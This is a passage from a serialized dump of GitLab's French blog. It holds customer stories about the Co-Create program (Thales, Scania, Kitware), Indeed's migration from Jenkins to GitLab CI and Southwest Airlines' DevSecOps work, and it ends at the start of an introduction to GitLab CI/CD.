un grand moment pour moi. Cela a montré que la collaboration open source peut contribuer à la création de meilleures solutions. »*\n\nL'expérience s'étant avérée positive pour l'équipe de Thales, Sébastien Lejeune utilise désormais le Programme Co-Create comme exemple *« pour montrer à nos managers le retour sur investissement généré grâce aux contributions open source. »*\n\n## Contribution de Scania : amélioration de la prise en charge des paquets\nLorsque l'entreprise Scania a eu besoin d'une prise en charge avancée des paquets dans GitLab, elle a vu une opportunité d'apporter sa contribution et de développer cette fonctionnalité elle-même.\n*« Cela fait longtemps que nous utilisons la plateforme GitLab et que nous promouvons activement l'open source au sein de notre entreprise. Le Programme Co-Create est pour nous une façon concrète d'y contribuer directement »*, révèle Puttaraju Venugopal Hassan, Solution Architect chez Scania.\n\nL'équipe a commencé par des changements mineurs pour se familiariser avec le code base et le processus de revue avant de passer à des fonctionnalités plus importantes. *« L'un des aspects les plus gratifiants du Programme Co-Create a été de revenir sur l'ensemble du processus et de voir le chemin parcouru »*, indique Océane Legrand, Software Developer chez Scania. *« Nous avons commencé par évaluer les besoins et apporter de petits changements, avant de passer à des tâches plus importantes au fil du temps. C'est formidable de voir cette progression. »*\n\nLes contributions de l'équipe de Scania incluent la correction des bogues pour le registre de paquets, ainsi que l'amélioration des fonctionnalités du registre de paquets Conan. Ce dernier pourra bientôt être proposé en disponibilité générale (GA), avec l'implémentation de la prise en charge de la version 2 de Conan. Le travail et la collaboration de Scania avec GitLab sont la preuve que le Programme Co-Create peut apporter des améliorations significatives aux fonctionnalités de registre de paquets de GitLab.\n\n*« Dès le début, notre expérience avec le Programme Co-Create a été très organisée. Nous avons participé à des sessions de formation pendant lesquelles nous avons pu découvrir tous les éléments nécessaires à notre contribution. Des sessions individuelles avec un ingénieur GitLab nous ont également offert une vue détaillée de l'architecture des paquets de GitLab, ce qui a rendu le processus de contribution beaucoup plus fluide »*, déclare Juan Pablo Gonzalez, Software Developer chez Scania.\nL'impact du programme va au-delà du code. En effet, les participants acquièrent également des compétences précieuses grâce à leurs contributions. À l'occasion de la sortie de [la version 17.8 de GitLab](https://docs.gitlab.com/releases/17/gitlab-17-8-released/#mvp), Océane Legrand et Juan Pablo Gonzalez ont tous deux été désignés comme Most Valuable Person (MVP) de GitLab. Océane Legrand a parlé de l'impact de son travail en open source sur GitLab et Scania, y compris l'obtention de nouvelles compétences pour elle et son équipe : *« Ma contribution au travers du Programme Co-Create m'a permis d'acquérir de nouvelles compétences et une expérience de Ruby et des migrations en arrière-plan. Lorsque mon équipe chez Scania a rencontré un problème lors d'une mise à niveau, j'ai pu participer à sa résolution, car je l'avais déjà rencontré dans le cadre du Programme Co-Create. »*\n\n## Contribution de Kitware : optimisation de l'authentification pour le calcul haute performance\nKitware a mis à profit son expertise spécialisée issue de son travail avec des laboratoires nationaux pour améliorer le framework d'authentification de GitLab. Ses contributions comprenaient l'ajout de la prise en charge du flux d'autorisation d'appareil OAuth2 dans GitLab, ainsi que la mise en œuvre de nouveaux composants, tels que des tables de base de données, des contrôleurs, des vues et de la documentation. Ces améliorations élargissent les options d'authentification de GitLab, rendant la plateforme plus polyvalente pour les appareils sans navigateur ou disposant de capacités de saisie limitées.\n\n*« Le Programme Co-Create est le moyen le plus efficace de contribuer à GitLab en tant que contributeur externe »*, estime John Parent, R&D Engineer chez Kitware. *« Grâce aux sessions de [pair programming](https://about.gitlab.com/fr-fr/blog/agile-pairing-sessions/ \"Pair programming\") entre développeurs et développeuses, nous avons identifié de meilleures implémentations que nous aurions peut-être manquées si nous avions travaillé seuls. »*\n\nEn tant que contributeur open source de longue date, Kitware a particulièrement apprécié l'approche de développement de GitLab. *« Je me doutais que GitLab ne se contenterait pas de solutions prêtes à l'emploi à son échelle, mais voir les équipes de développement intégrer une dépendance Ruby au lieu de créer une solution interne personnalisée était génial »*, explique John Parent. *« Venant du monde C++, où les gestionnaires de paquets sont rares, j'ai apprécié de voir cette approche et sa simplicité. »*\n\n## Quels sont les avantages du Programme Co-Create ?\n\nLe Programme Co-Create crée de la valeur à la fois pour GitLab et le partenaire impliqué. *« Le programme comble le fossé qui peut exister entre les ingénieurs qui développent GitLab et nos clients »*, affirme Imre Farkas, Staff Backend Engineer chez GitLab. *« Collaborer avec les clients nous permet de comprendre leurs défis quotidiens, les parties de l'écosystème GitLab sur lesquelles ils s'appuient et les domaines dans lesquels des améliorations peuvent être apportées. C'est formidable de voir à quel point ils sont enthousiastes à l'idée de s'impliquer dans le développement de GitLab à nos côtés. »*\n\nCette approche collaborative accélère également le développement de GitLab. Comme l'observe Shekhar Patnaik, Principal Engineer chez GitLab : *« Grâce au Programme Co-Create, nos clients nous aident à faire progresser notre roadmap. Leurs contributions nous permettent de fournir des fonctionnalités critiques plus rapidement, ce qui profite à l'ensemble de notre base d'utilisateurs. Le programme étant en constante évolution, nous avons de fortes chances d'accélérer le développement de nos fonctionnalités les plus importantes en travaillant aux côtés des personnes qui comptent sur elles. »*\n\n## Premiers pas avec le Programme Co-Create\nVous souhaitez transformer vos demandes de fonctionnalités en réalité ? Que vous cherchiez à perfectionner l'interface utilisateur de GitLab comme Thales, à améliorer la prise en charge des paquets comme Scania ou à optimiser l'authentification comme Kitware, le Programme Co-Create accueille les entreprises qui souhaitent façonner activement l'avenir de GitLab tout en développant une expérience open source précieuse.\n\nContactez votre représentant GitLab pour en savoir plus sur la participation au Programme Co-Create ou visitez notre [page dédiée](https://about.gitlab.com/community/co-create/) pour plus d'informations.\n",[966,967,968],"contributors","open source","customers","2025-02-10",{"slug":971,"featured":13,"template":843},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":973,"config":984},{"title":974,"description":975,"authors":976,"heroImage":978,"date":979,"body":980,"category":730,"tags":981,"updatedDate":983},"Comment Indeed a transformé sa plateforme CI avec GitLab","Indeed a migré des milliers de projets vers le système d'intégration continue (CI) de GitLab, ce qui lui a permis de booster sa productivité et de réduire ses coûts.",[977],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Cet article a été traduit. Retrouvez la version originale sur [notre blog anglais](https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab/ \"Blog anglais de GitLab\").***\n\n***Note de la rédaction : nous invitons parfois les membres de notre communauté de clients à contribuer au blog de GitLab. Nous remercions aujourd'hui Carl Myers, responsable des plateformes CI chez Indeed, de nous avoir fait part de son expérience avec GitLab.***\n\nChez Indeed, notre mission est d'aider chacun à trouver un emploi. Indeed est le [plus grand site d'offres d'emploi](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) au monde, accueillant plus de 350 millions de visiteurs uniques chaque mois.\n\nDu côté des équipes de plateforme d'ingénierie d'Indeed, la devise est légèrement différente : « Nous aidons ceux qui aident chacun à trouver un emploi ». Depuis près de vingt ans, les chercheurs d'emploi sont au cœur de notre culture d'ingénierie fondée sur les données. Dans ce contexte, notre responsabilité est de créer des outils qui non seulement facilitent cet objectif, mais qui permettent également aux ingénieurs d'offrir chaque jour des opportunités aux candidats.\n\nL'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\") de GitLab a permis à l'équipe de plateforme CI d'Indeed, composée de seulement 11 personnes, d'accompagner efficacement des milliers d'utilisateurs dans toute l'entreprise. Indeed a également constaté d'autres avantages, avec notamment :\n- une augmentation des pipelines quotidiens de 79 %\n- une réduction de 10 à 20 % des coûts de matériel de CI\n- une diminution des demandes d'assistance\n\n## L'évolution de notre plateforme CI : de Jenkins vers une solution évolutive\n\nComme de nombreuses grandes entreprises dans le domaine technologique, nous avons construit notre plateforme CI de manière organique, au fil de l'évolution de l'entreprise, en faisant appel aux solutions open source et standard qui étaient disponibles à l’époque. En 2007, lorsque Indeed comptait moins de 20 ingénieurs, nous utilisions Hudson, le prédécesseur direct de Jenkins.\n\nUne vingtaine d'années plus tard, nous employons aujourd'hui des milliers d'ingénieurs. Nous avons progressivement amélioré nos outils au fil de l'arrivée de nouvelles technologies, notamment en passant à Jenkins vers 2011. Une autre avancée nous a permis de déplacer la plupart de nos charges de travail vers des nœuds de travail cloud dynamiques grâce à [AWS EC2](https://aws.amazon.com/ec2/). Il est toutefois devenu évident que l'architecture de notre système avait atteint ses limites lorsque nous sommes entrés dans l'ère de [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\").\n\nL'architecture de Jenkins n'est en effet pas conçue pour le cloud. Le fonctionnement de Jenkins repose sur un nœud « contrôleur », un point de défaillance unique qui exécute les parties critiques d'un pipeline et décharge certaines étapes vers les nœuds de travail (qui peuvent évoluer horizontalement dans une certaine mesure). Les contrôleurs constituent également un axe de mise à l'échelle manuelle.\n\nSi vos tâches sont trop nombreuses pour un contrôleur donné, elles doivent être partitionnées manuellement entre plusieurs contrôleurs. CloudBees propose des solutions pour contourner ce problème, notamment avec le CloudBees Jenkins Operations Center qui vous permet de gérer votre constellation de contrôleurs depuis un seul endroit centralisé. Cependant, les contrôleurs restent difficiles à exécuter dans un environnement Kubernetes, car chaque contrôleur est un point de défaillance unique et fragile. Des activités telles que les déploiements de nœuds ou des défaillances matérielles peuvent ainsi entraîner des temps d'arrêt.\n\nAu-delà des limitations techniques inhérentes à Jenkins, notre plateforme CI a également rencontré des problèmes dont nous étions malheureusement à l'origine. Par exemple, nous avons utilisé le DSL Groovy de Jenkins pour générer des jobs à partir du code contenu dans chaque dépôt. Chaque projet s'est ainsi retrouvé avec un pipeline individuel de jobs copiés, ce qui a engendré des centaines de versions difficiles à maintenir et à mettre à jour. Bien que la culture d'ingénierie d'Indeed encourage la flexibilité et permette aux équipes de travailler dans des dépôts distincts, cette flexibilité était devenue un fardeau, car les équipes consacraient trop de temps à répondre aux demandes de maintenance régulières.\n\nAyant pris conscience de cette dette technique, nous nous sommes tournés vers le [modèle « Golden Path »](https://tag-app-delivery.cncf.io/whitepapers/platforms/), qui permet une certaine flexibilité tout en offrant une méthode par défaut pour simplifier les mises à jour et encourager des pratiques cohérentes dans tous les projets.\n\nL'équipe de plateforme CI d'Indeed est relativement petite. Nous comptons environ 11 ingénieurs qui gèrent des milliers d'utilisateurs, répondent aux demandes d'assistance, effectuent des mises à niveau et des opérations de maintenance, et offrent une assistance constante à notre entreprise mondiale.\n\nComme notre équipe prend en charge non seulement notre instance GitLab, mais également l'ensemble de la plateforme CI, y compris le serveur d'artefacts, notre code de compilation partagé et de multiples autres composants personnalisés de notre plateforme, nous avions énormément de travail. Nous avions besoin d'une solution qui nous aiderait à résoudre nos problèmes tout en exploitant au maximum nos ressources existantes.\n\n## Notre migration vers GitLab CI\n\nAprès un examen minutieux de sa conception avec les principales parties prenantes, nous avons décidé de migrer l'ensemble de l'entreprise de Jenkins vers le système d'intégration continue de GitLab.\nNos principales raisons étaient les suivantes :\n- Nous utilisions déjà GitLab pour la gestion du code source.\n- GitLab est une offre complète qui fournit tout ce dont nous avons besoin pour l'intégration continue.\n- GitLab CI est conçu pour l'évolutivité et le cloud.\n- GitLab CI nous permet de générer des modèles qui élargissent d'autres modèles, ce qui est compatible avec notre stratégie « Golden Path ».\n- GitLab est un logiciel open source et l'équipe de GitLab nous a toujours aidés à soumettre des correctifs, ce qui nous offre davantage de flexibilité et renforce notre confiance.\n\nAu moment de notre annonce officielle de la disponibilité de la plateforme CI de GitLab pour tous les utilisateurs, 23 % de l'ensemble des compilations étaient déjà effectuées dans le système d'intégration continue de GitLab.\n\nNotre plus grand défi lors de cette migration était que « le diable se niche dans les détails ». Du fait du nombre de compilations personnalisées présentes dans Jenkins, nous savions qu'un outil de migration automatisé ne fonctionnerait pas pour la majorité des équipes. Or, la plupart des avantages du nouveau système ne seraient concrétisés qu'une fois l'ancien système complètement abandonné. Ce n'est qu'alors que nous pourrions cesser d'utiliser le matériel et économiser les frais de licence CloudBees.\n\n## La parité des fonctionnalités et les avantages de repartir à zéro\nIndeed utilise de nombreuses technologies différentes, mais les trois langages les plus courants sont Java, Python et JavaScript. Ces piles technologiques de langages sont utilisées pour créer des bibliothèques, des déployables (services Web ou applications) et des tâches cron (un processus qui s'exécute à intervalles réguliers, par exemple pour créer un ensemble de données dans notre lac de données). Chacune de ces piles correspondait à un type de projet spécifique (par ex. Java Library, Python Cronjob, JavaScript Webapp, etc.) avec une configuration de base dans Jenkins. Par conséquent, nous avons dû générer un modèle « Golden Path » dans le système d'intégration continue de GitLab pour chacun de ces types de projets.\n\nLa plupart des utilisateurs pouvaient utiliser ces modèles recommandés tels quels. Pour ceux qui avaient besoin de les personnaliser, le « Golden Path » constituait un point de départ utile leur permettant de modifier uniquement les aspects nécessaires, tout en bénéficiant de mises à jour de modèles centralisées à l'avenir.\n\nNous avons rapidement constaté que la plupart des utilisateurs, même ceux qui avaient besoin de personnaliser certains aspects de leur projet, étaient tout à fait disposés à adopter ce modèle et à l'essayer. S'ils s'apercevaient que certaines de leurs personnalisations n'étaient pas incluses dans le modèle, ils savaient qu'ils pouvaient toujours les ajouter ultérieurement. C'était un résultat surprenant ! Nous pensions en effet que les équipes qui avaient investi dans des personnalisations importantes seraient réticentes à l'idée de les abandonner. Or, dans la majorité des cas, les équipes ne s'en souciaient tout simplement plus. Cela nous a permis de migrer de nombreux projets très rapidement : il suffisait en effet de déposer notre « Golden Path » (un petit fichier d'environ 6 lignes avec des inclusions) dans leur projet pour que chaque équipe puisse s'occuper du reste.\n\n## L'innersource à la rescousse\n\nL'équipe de plateforme CI a également adopté une politique de « priorité aux contributions externes » pour encourager la participation de tous les membres de l'entreprise. C'est ce qu'on appelle parfois l'[innersource](https://about.gitlab.com/fr-fr/topics/version-control/what-is-innersource/ \"Qu'est-ce que l'innersource ?\"). Nous avons créé des tests et une documentation pour encourager les contributions externes (c'est-à-dire externes à notre équipe immédiate). Les équipes qui souhaitaient créer des personnalisations pouvaient ainsi les ajouter au « Golden Path » tout en les activant ou désactivant à l'aide d'un feature flag. Cette approche a encouragé une meilleure collaboration et un plus grand respect des personnalisations (parce que celles-ci faisaient désormais partie du code base commun).\nAutre avantage : les équipes qui attendaient désespérément une fonctionnalité dont elles avaient besoin pouvaient désormais la créer elles-mêmes. Nous pouvons désormais leur donner le choix : « Oui, nous prévoyons de mettre en œuvre cette fonctionnalité dans quelques semaines, mais si vous en avez besoin plus tôt, nous serions ravis d'accepter une contribution ». Au final, de nombreuses fonctionnalités de base nécessaires à la parité ont été développées de cette manière, plus rapidement et mieux que nos ressources ne le permettaient. La migration n'aurait pas été un succès sans ce modèle.\n\n## En avance sur le calendrier et en dessous du budget\n\nNotre licence CloudBees arrivait à expiration le 1er avril 2024. Nous avons donc fixé cette date comme date d'achèvement de la migration. Cette échéance était particulièrement ambitieuse, car, à l'époque, 80 % de l'ensemble des compilations (soit 60 % de tous les projets) utilisaient encore Jenkins pour le processus d'intégration continue. Plus de 2 000 [fichiers Jenkins (Jenkinsfiles)](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) devaient donc encore être recréés ou remplacés par nos modèles « Golden Path ».\n\nPour atteindre cet objectif, nous avons mis à disposition des équipes une documentation et des exemples, ajouté des fonctionnalités dans la mesure du possible et aidé nos utilisateurs à offrir des contributions quand ils le pouvaient.\n\nNous avons mis en place des permanences régulières, durant lesquelles tous les utilisateurs pouvaient nous poser des questions ou demander notre aide pour migrer. Nous avons également donné la priorité aux questions d'assistance relatives à la migration. Certains membres de notre équipe sont devenus des experts du système d'intégration continue de GitLab et ont partagé leur expertise avec le reste de l'équipe et toute l'entreprise.\n\nLa migration automatique n'était pas adaptée à la plupart des projets, mais nous avons découvert qu'elle pouvait fonctionner pour un petit sous-ensemble de projets où les personnalisations étaient rares. Nous avons créé une campagne de changement par lots Sourcegraph afin de soumettre des merge requests pour migrer des centaines de projets et, avons convaincu les utilisateurs à accepter ces merge requests.\n\nNous avons également partagé des exemples de réussite notables avec toutes les équipes. Comme les utilisateurs ajoutaient de nouvelles fonctionnalités à nos modèles « Golden Path », nous avons annoncé que ces fonctionnalités seraient ajoutées « gratuitement » lors de la migration vers [GitLab CI](https://about.gitlab.com/fr-fr/blog/ci-deployment-and-environments/ \"Comment déployer du code dans des environnements multiples avec GitLab CI\"). Ces fonctionnalités comportaient entre autres un scan de sécurité et de conformité intégré, des notifications Slack pour les compilations CI et des intégrations avec d'autres systèmes internes.\n\nNous avons également mené une campagne de tests agressifs. Dans ce cadre, nous avons automatiquement désactivé les jobs Jenkins qui n'avaient pas été exécutés ou qui n'avaient pas abouti depuis un certain temps, en disant aux utilisateurs que s'ils en avaient besoin, ils pouvaient les réactiver. C'est un moyen simple d'identifier les jobs qui sont réellement nécessaires. Nous avons ainsi identifié des milliers de jobs qui n'avaient pas été exécutés une seule fois depuis notre dernière migration CI (de Jenkins vers Jenkins). Nous en avons déduit que nous pouvions ignorer la vaste majorité de ces jobs sans aucun risque.\n\nEn janvier 2024, nous avons annoncé que tous les contrôleurs Jenkins passeraient en lecture seule (sans compilation) à moins qu'une exception ne soit explicitement demandée par les utilisateurs. La propriété des contrôleurs était mieux connue et ils s'alignaient généralement sur la structure de notre entreprise. Il était donc logique de se concentrer sur les contrôleurs plutôt que sur les jobs. De plus, la liste des contrôleurs était beaucoup plus gérable que celle des jobs.\n\nPour obtenir une exception, les utilisateurs devaient identifier leurs contrôleurs dans une feuille de calcul, puis saisir leurs coordonnées à côté de chacun d'eux. Nous avons ainsi pu obtenir une liste à jour et fiable des parties prenantes avec lesquelles nous pouvions effectuer un suivi à mesure que la migration progressait, mais cela a également permis aux utilisateurs d'indiquer clairement les jobs dont ils avaient absolument besoin. Nous sommes passés d'environ 400 contrôleurs à 220 au mois de janvier, mais seuls 54 contrôleurs ont nécessité des exceptions (et parmi ces contrôleurs, plusieurs appartenaient à notre équipe pour exécuter nos tests et déploiements canari)).\n\n![Indeed - Graphique de recensement des contrôleurs Jenkins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nNous avions donc une liste gérable d'environ 50 équipes et chaque membre de notre équipe a été chargé d'en contacter un certain nombre pour évaluer leurs progrès dans le cadre de la migration. Nous avons consacré les mois de janvier et février à cette tâche et découvert que certaines équipes prévoyaient de terminer leur migration sans notre aide avant le 28 février. D'autres prévoyaient de mettre fin à leurs projets existants avant cette date, et seule une petite minorité pensait rencontrer des difficultés.\n\nNous avons pu travailler avec ce petit groupe d'équipes pour leur offrir un niveau d'accompagnement très personnalisé. Nous leur avons expliqué que nous ne disposions pas de l'expertise nécessaire pour effectuer la migration à leur place, mais que nous pouvions collaborer avec un expert métier de leur équipe. Dans certains cas, nous avons écrit le code et l'équipe s'est chargée de la revue de code, ou vice-versa. Au final, tout notre travail a porté ses fruits et nous avons pu désactiver Jenkins à la date que nous avions annoncée 8 mois plus tôt.\n\n## Résultats : une intégration continue plus efficace et des utilisateurs plus satisfaits\n\nÀ son apogée, notre plateforme CI Jenkins permettait d'exécuter plus de 14 000 pipelines par jour et de réaliser des milliers de projets. Aujourd'hui, notre plateforme CI GitLab exécute régulièrement plus de 25 000 pipelines par jour, mais peut en traiter plus de 40 000 en une seule journée. Le coût différentiel de chaque job dans chaque pipeline est similaire à celui de Jenkins, mais sans les coûts indirects du matériel nécessaire au fonctionnement des contrôleurs. De plus, ces contrôleurs agissaient comme des points de défaillance uniques et des limiteurs de mise à l'échelle, ce qui nous obligeait à diviser artificiellement notre plateforme en segments. Bien qu'une comparaison directe soit difficile, nous constatons que l'élimination de ces frais généraux permet de réduire nos coûts de matériel d'intégration continue de 10 à 20 %. En outre, la charge d'assistance de GitLab CI est bien moindre, car l'application évolue automatiquement dans le cloud et offre une résilience interzone, et le langage utilisé pour la génération de modèles s'accompagne d'une excellente documentation publique.\n\nUn avantage tout aussi important, sinon plus, est que nous sommes maintenant à plus de 70 % d'adoption de nos modèles « Golden Path ». Cela signifie que lorsque nous déployons une amélioration, plus de 5 000 projets en bénéficient immédiatement sans qu'aucune action ne soit requise de la part des équipes d'Indeed. Nous avons ainsi pu déplacer certains jobs vers des instances ARM64 plus rentables, mettre à jour plus facilement les images de compilation des utilisateurs et mieux gérer d'autres opportunités de réduction des coûts. Et le résultat dont nous sommes le plus fiers ? Nos utilisateurs sont plus satisfaits grâce à la nouvelle plateforme.\n\n__À propos de l'auteur :__\n*Carl Myers vit à Sacramento, en Californie, et est le responsable de l'équipe de plateforme CI d'Indeed. Depuis près de vingt ans, Carl crée des outils internes et des plateformes de développement pour le bonheur d'ingénieurs d'entreprises de toutes tailles.*\n\n**Remerciements :**\n*Cette migration n'aurait pas été possible sans le travail inlassable de Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen et de toute l'équipe de plateforme CI. L'équipe souhaite également remercier Deepak Bitragunta et Irina Tyree, dont le leadership a permis de garantir les ressources, l'adhésion et la cohérence à l'échelle de l'entreprise qui étaient nécessaires tout au long de ce long projet. Enfin, nous remercions tous les membres d'Indeed qui ont contribué au code, aux retours d'expérience, aux rapports de bogues et à la migration des projets.*\n\n**Ce texte est une version modifiée de l'article « [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/) », publié à l'origine sur le blog dédié à l'ingénierie d'Indeed.**",[968,89,982,872],"user stories","2024-12-18",{"slug":985,"featured":13,"template":843},"how-indeed-transformed-its-ci-platform-with-gitlab",{"content":987,"config":997},{"title":988,"description":989,"authors":990,"heroImage":992,"date":993,"body":994,"category":730,"tags":995},"Southwest Airlines transforme son développement avec GitLab","Découvrez comment les équipes DevOps de la compagnie aérienne augmentent leur capacité à détecter et à résoudre les problèmes avec GitLab.",[991],"Sharon Gaudin","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","2024-01-30","Southwest Airlines Co. met tout en œuvre pour faciliter le travail de ses équipes de développement.\n\nLes responsables informatiques de la plus grande compagnie aérienne low-cost au monde s'emploient à éliminer les tâches chronophages et répétitives des workflows de leurs équipes. L'objectif vise à leur faire gagner un temps précieux pour qu'elles se consacrent à des projets à forte valeur ajoutée.\n\n*« Notre approche consiste à éliminer les obstacles qui ralentissent le travail de nos équipes »*, déclare Jim Dayton, Vice President et CISO de Southwest Airlines. *« Je suis fermement convaincu que la plupart des développeurs et développeuses choisissent ce métier pour sa part de créativité. Résoudre les problèmes est leur cheval de bataille. Nous souhaitons donc leur faciliter la tâche et supprimer les obstacles qui entravent leur productivité. »*\n\nPour faire de cette idée une réalité, Jim Dayton s'appuie notamment sur la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.\n\nÀ l'occasion de son interview lors du [DevSecOps World Tour de GitLab](https://about.gitlab.com/events/epic-conference/) à Dallas, Jim Dayton a évoqué les efforts de Southwest Airlines pour soutenir ses équipes de développement et promouvoir leur travail. Lors de son échange avec Reshmi Krishna, Director of Enterprise Solutions Architecture chez GitLab, il a partagé ses réflexions sur les avantages des fonctionnalités d'intelligence artificielle pour enrichir le travail de ses équipes.\n\nSouthwest Airlines a adopté une [approche DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que DevOps ? \") pour le développement d'applications offrant à ses équipes de développement davantage de fonctionnalités en libre-service et de processus de gestion des connaissances. *« Nous voulons permettre aux développeurs et développeuses d'identifier un problème dès qu'il survient, de trouver rapidement une solution et de limiter les interruptions causées par les changements de contexte »*, expose Jim Dayton. *« Il est essentiel de comprendre ce qui freine leur productivité. »*\n\nDepuis 2019, année où Southwest Airlines a entamé sa collaboration avec GitLab, l'entreprise s'est attachée à assurer la cohérence de ses processus de développement logiciel. Pour cela, elle a choisi de centraliser son code dans un dépôt GitLab partagé. En sachant précisément où l'ensemble du code est stocké, les équipes de développement peuvent évaluer plus facilement les indicateurs de performance et gagner en efficacité grâce à la réutilisation du code.\n\n*« Nous finalisons actuellement nos pipelines d'entreprise et la migration des équipes est imminente »*, annonce Jim Dayton. *« Nous collaborons étroitement avec nos nombreuses équipes de développement d'applications pour bien comprendre leurs attentes en matière de pipelines. La finalisation de ce projet est prévue pour la fin de l'année. »*\n\n### La promesse de l'IA\n\nL'utilisation de l'intelligence artificielle est un levier pour les équipes de développement. Elle leur permet notamment de se concentrer sur des tâches plus importantes et plus innovantes, comme le souligne Jim Dayton.\n\nL'IA générative, que ce soit sous la forme d'explications des vulnérabilités, de suggestions de code ou de complétion de code, a un impact considérable sur les workflows tout au long du cycle de vie du développement logiciel. L'intégration de l'IA dans une plateforme DevSecOps renforce la sécurité et réduit le temps consacré aux revues de code et au développement d'applications.\n\nJim Dayton se réjouit de pouvoir utiliser les fonctionnalités d'IA de GitLab pour accélérer et optimiser les processus de développement et de déploiement.\n\n*« Nous voulons éliminer autant que possible les tâches routinières et administratives »*, insiste Jim Dayton, qui considère que l'IA est extrêmement prometteuse, malgré ce que peut laisser penser le battage médiatique autour de cette technologie. *« L'IA nous aidera peut-être à atteindre cet objectif. Un jour, elle pourra sûrement fournir une solution immédiate à une vulnérabilité qui vient d'être identifiée ou expliquer à quoi sert une portion de code. Elle pourra aussi vous dire à quoi elle s'intègre, à quelles données elle accède et pourquoi. Elle pourra nous indiquer clairement, par exemple, qu'un bloc de code spécifique est responsable de 20 % des incidents survenus dans telle application l'année précédente. C'est en ce sens, je pense, que l'IA peut nous aider. »*, précise-t-il.\n\nJim Dayton estime que même si l'IA ne remplacera pas les équipes de développement, elle facilitera grandement leur travail et la communication entre les équipes, notamment dans un contexte où le télétravail s'est généralisé depuis la pandémie de COVID-19.\n\n*« La suggestion de relecteurs est une des fonctionnalités prévues dans la roadmap de [GitLab] »* mentionne Jim Dayton. *« Auparavant, pour obtenir de l'aide dans le cadre de revues de code, il suffisait de demander aux collègues qui partageaient votre bureau. Ce qui n'est plus aussi simple aujourd'hui. En revanche, l'IA peut désormais suggérer un relecteur ayant déjà contribué au code du projet ou résolu des incidents, et qui possède les compétences nécessaires. Ce qui apporte une réelle valeur ajoutée au processus de revue de code. Je pense que l'automatisation est la clé pour réduire le nombre d'étapes manuelles ou les délais d'attente. »*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines est une société au chiffre d'affaires de près de 24 milliards de dollars basée à Dallas, au Texas. Avec 72 000 employés, elle dessert 120 destinations et effectue 4 000 vols par jour.  Southwest Airlines transporte plus de passagers via des vols nationaux que toute autre compagnie aérienne.*\n\nVous souhaitez en savoir plus sur GitLab ? Consultez nos [témoignages clients](https://about.gitlab.com/fr-fr/customers/).\n",[540,996,853,968],"DevOps platform",{"slug":998,"featured":691,"template":843},"southwest-looking-to-help-developers-take-flight",{"category":550,"slug":553,"posts":1000},[1001,1013,1025],{"content":1002,"config":1011},{"title":1003,"description":1004,"authors":1005,"date":1007,"body":1008,"category":553,"tags":1009,"heroImage":1010},"Automatisez les étapes de votre cycle de développement avec GitLab CI/CD","GitLab CI/CD automatise vos builds, tests et déploiements depuis une plateforme DevSecOps unifiée. Découvrez son fonctionnement, ses composants clés et ses fonctionnalités avancées pour des cycles de livraison plus rapides et fiables.",[910,1006],"Maud Leuenberger","2026-04-22","Les équipes les plus performantes déploient leur code plusieurs fois par jour, avec un délai de mise en production inférieur à une heure, contre plusieurs jours voire plusieurs semaines pour les équipes moins avancées. Cette performance repose sur quelques principes fondamentaux : détecter les erreurs le plus tôt dans le processus de développement, tester en continu et éviter d’accumuler des modifications difficiles à stabiliser.\n\nC'est là qu'intervient **[GitLab CI/CD](https://docs.gitlab.com/ci/)** : en automatisant les builds, les tests et les déploiements dans un même environnement, les équipes peuvent livrer plus vite, avec moins de risques et une meilleure visibilité sur chaque étape du cycle de développement logiciel.\n\nDans cet article, nous explorerons comment GitLab CI/CD fonctionne et comment le mettre en place pour des cycles de livraison plus rapides, plus fiables et mieux structurés.\n\n> **[→ Commencez un essai gratuit de GitLab Ultimate.](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr)**\n\n## Qu’est-ce que GitLab CI/CD ?\n\nLe **[CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\")** regroupe deux pratiques complémentaires : \n\n- **CI pour « continuous integration » (intégration continue)** : intégrer régulièrement des modifications de code pour détecter les erreurs le plus tôt possible dans le cycle de développement logiciel.\n- **CD pour « continuous delivery/deployment » (livraison continue/déploiement continu)** : préparer automatiquement chaque modification pour qu'elle soit prête à être déployée en production à tout moment. Le déploiement continu va plus loin en déclenchant automatiquement la mise en production, sans intervention humaine.\n\nEnsemble, ces pratiques évitent l’accumulation de changements difficiles à stabiliser et réduisent le délai entre un commit et son déploiement.\n\n**GitLab intègre nativement le CI/CD dans sa plateforme où résident déjà le code, les merge requests, la sécurité et les déploiements.** Les pipelines s’exécutent sans nécessiter de plugins ni d’outils externes, ce qui simplifie la configuration et offre une vue centralisée sur l’ensemble du workflow de développement. Sur GitLab.com, des **runners partagés Linux, Windows et macOS** sont également **disponibles sans configuration initiale**, ce qui facilite le 